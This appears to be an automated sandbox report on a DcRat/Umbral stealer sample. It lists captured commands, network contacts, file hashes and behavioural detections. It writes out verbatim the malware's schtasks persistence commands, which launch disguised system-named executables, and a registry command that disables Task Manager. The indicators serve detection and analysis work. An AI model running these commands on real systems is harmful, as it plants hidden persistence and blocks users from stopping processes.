schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Java\jre7\bin\dtplugin\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Recorded TV\Sample Media\dwm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Public\Recorded TV\Sample Media\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Recorded TV\Sample Media\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\MsWinsessiondllNet\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\MsWinsessiondllNet\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\MsWinsessiondllNet\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Recovery\8f9e55a2-d10b-11ee-8d36-fdfbfcab7b96\sppsvc.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\8f9e55a2-d10b-11ee-8d36-fdfbfcab7b96\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Recovery\8f9e55a2-d10b-11ee-8d36-fdfbfcab7b96\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\Microsoft Help\wininit.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft Help\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Microsoft Help\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\conhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\taskhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\es-ES\taskhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\taskhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "driverBrokercommond" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Photo Viewer\de-DE\driverBrokercommon.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "driverBrokercommon" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\de-DE\driverBrokercommon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "driverBrokercommond" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Photo Viewer\de-DE\driverBrokercommon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Program Files\VideoLAN\VLC\winlogon.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\winlogon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Program Files\VideoLAN\VLC\winlogon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\MSOCache\All Users\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Application Data\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default\Application Data\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Application Data\csrss.exe'" /rl HIGHEST /f

C:\MsWinsessiondllNet\explorer.exe

"C:\MsWinsessiondllNet\explorer.exe"

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f9f61fe1-f4ea-4e43-982a-81d8c7d765cf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\83ff8856-3281-4735-8c80-bef461d8bc8e.vbs"

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 216.58.201.99:443 gstatic.com tcp
US 8.8.8.8:53 a0947008.xsph.ru udp
RU 141.8.192.103:80 a0947008.xsph.ru tcp
RU 141.8.192.103:80 a0947008.xsph.ru tcp
RU 141.8.192.103:80 a0947008.xsph.ru tcp

Files

memory/1196-0-0x0000000000400000-0x000000000084E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\stealer.exe

MD5 8cc1e7cf94fec9bc505ce7411aa28861
SHA1 08703de84f3db427c368f16c873664d78bd83264
SHA256 cc60087c94ea0ab843dcae2cdd76ac5e9c90599d2909bbba12881babf46158ba
SHA512 fe60f11452c9e470c0b63385cf0ee8f9fd07598c1294ba25cc8c7c093142efe865aba39680ae5f80611db9423717a7094c939f180e5195e7ae91a9633872a423

\Users\Admin\AppData\Local\Temp\чекер dc.exe

MD5 6216b6bef94c09a40bfa263809b1ae56
SHA1 a928120e65199c6aaae6c991aa0466f3f8b06020
SHA256 eabc7e4491961469ccb9c8cd716dbaf5285ecb8ad3edfc6bfec133a1ec80f05b
SHA512 0e311738b5bdf73f01c552b59646485418ab5b99862af5da2bb934d4262307ac8f57274bbd7f6c99376e6be99d424aad5282a73a063529310425666be224d215

\Users\Admin\AppData\Local\Temp\Inject.exe

MD5 d428ddd1b0ce85a6c96765aeaf246320
SHA1 d100efdaab5b2ad851fe75a28d0aa95deb920926
SHA256 453a331db812ed6e0ce6cca5d3b5be26e66c44b5f6fbdc88f98442670b8daecb
SHA512 3f9dda9d998ef282eb31644296ef0617bbf40352189f4ccd744191f466e932ffde2fd2bdaebe89f0bc06e465d57a8e46e08b3001fe834b3d989fc71125d25899

memory/1196-16-0x0000000003160000-0x000000000318A000-memory.dmp

memory/2580-19-0x000000013F120000-0x000000013F14A000-memory.dmp

memory/1972-23-0x0000000000BF0000-0x0000000000C30000-memory.dmp

C:\MsWinsessiondllNet\zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe

MD5 7c9bb5fda146efee5ee4a243d6e404b0
SHA1 c2fb82a9efb3a2469e6a120ac4781a7fe26eb3dd
SHA256 1d4b4c4da6c16a2701cec1c24ff21168d26d4f81c0ac8b3e30ed01b8468d488b
SHA512 797e74b283e74a3282223d8035408d55269e4451a289e3873ea197624985121c87dccdbdef42ff99fd8b4d1fd7e856388444e3fc699a9d6b061499682a043771

C:\MsWinsessiondllNet\q6hjn2OvCg2VETYAoy3FIOj.bat

MD5 ea70d7b0f1a8a1ff2d246efbdcfe1001
SHA1 252e762aee8fcc5761e17bb84aa3af8276852f5c
SHA256 1947411b5329e6db696c2354b56290b82aaf58b5f5d75fd4f3315fbe27999e31
SHA512 1fd28c415177644e069ded3e0ab3d27105fdac2d76f1060abb127e1961f310c81559e4c1213e61a7f32583cee9f4560106cafc88f0f20cf470edb756aadbec86

\MsWinsessiondllNet\driverBrokercommon.exe

MD5 d84e590c3715c79dc5b92c435957d162
SHA1 2901580903e4b356448d9fe7bea510261e655363
SHA256 d81c1097d231fdcb536974ef025f230d1c4091bab3edcf4f9da9344b44b638ba
SHA512 b797cdb43776a7e8a19f9c93299857d8f88651e13c7ba5ddb57f0ac0b24c7b98e6cc6c20ae1561948fb49774edad31cd237f40c9c690d34923ffee56bc02a485

memory/2496-37-0x0000000000FA0000-0x00000000011EA000-memory.dmp

memory/2496-38-0x0000000000350000-0x0000000000358000-memory.dmp

memory/2496-39-0x00000000003E0000-0x00000000003E8000-memory.dmp

memory/2496-40-0x00000000003F0000-0x0000000000400000-memory.dmp

memory/2496-41-0x0000000000AC0000-0x0000000000B16000-memory.dmp

memory/2496-42-0x00000000005F0000-0x00000000005FC000-memory.dmp

memory/2496-43-0x0000000000610000-0x000000000061C000-memory.dmp

memory/2496-44-0x0000000000B10000-0x0000000000B1C000-memory.dmp

memory/2496-45-0x0000000000B20000-0x0000000000B28000-memory.dmp

memory/2496-47-0x0000000000CD0000-0x0000000000CDE000-memory.dmp

memory/2496-46-0x0000000000B30000-0x0000000000B3A000-memory.dmp

memory/2496-48-0x0000000000CE0000-0x0000000000CE8000-memory.dmp

memory/2496-49-0x0000000000CF0000-0x0000000000CFA000-memory.dmp

memory/2496-50-0x0000000000D00000-0x0000000000D0C000-memory.dmp

memory/2856-81-0x0000000000110000-0x000000000035A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\f9f61fe1-f4ea-4e43-982a-81d8c7d765cf.vbs

MD5 d3d0f39989e83f2a886def2bdd397268
SHA1 6e4cc004e2574625ce68dee4e0963c2fd7c19083
SHA256 c9aa5f2c32c9bd4893e16d813f1537a18003ff888e9e9696e63c01ff7cb90f26
SHA512 8496a2f2384cf04a79c9d6d0e89ba234d8a50f5dbffc8b64fec15dea10b458d52e696cbc2a8c6833db66f99997d3a28afbc3836728707f3135ffb8435e77ac18

C:\Users\Admin\AppData\Local\Temp\83ff8856-3281-4735-8c80-bef461d8bc8e.vbs

MD5 13a60c705384ced3f71c16323fd90022
SHA1 ddc013ecdfa068a7a9e9c46747029a1aa9667513
SHA256 7823c4cd2031175fa3093a75893d974d10b28b15860273fea53c05963fdaaec7
SHA512 da79d498723accfa5e3108ba5e6978b1c5147af42d46bcaa87a7221a82f8d08d1879ee04e68a0bc932578b8367da3744a7c999783e0afa2141500aaad036a340

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-04 01:35

Reported

2024-05-04 01:38

Platform

win10v2004-20240419-en

Max time kernel

149s

Max time network

146s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe"

Signatures

DcRat

rat infostealer dcrat

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Umbral

stealer umbral

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM names

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM usernames

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox system UUIDs

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables packed with SmartAssembly

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Disables Task Manager via registry modification

evasion

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\stealer.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\чекер dc.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation C:\MsWinsessiondllNet\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Common Files\Adobe\Acrobat\088424020bedd6 C:\MsWinsessiondllNet\driverBrokercommon.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\38384e6a620884 C:\MsWinsessiondllNet\driverBrokercommon.exe N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\чекер dc.exe N/A
Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000_Classes\Local Settings C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000_Classes\Local Settings C:\MsWinsessiondllNet\csrss.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\MsWinsessiondllNet\csrss.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2904 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\stealer.exe
PID 2904 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\stealer.exe
PID 2904 wrote to memory of 4468 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
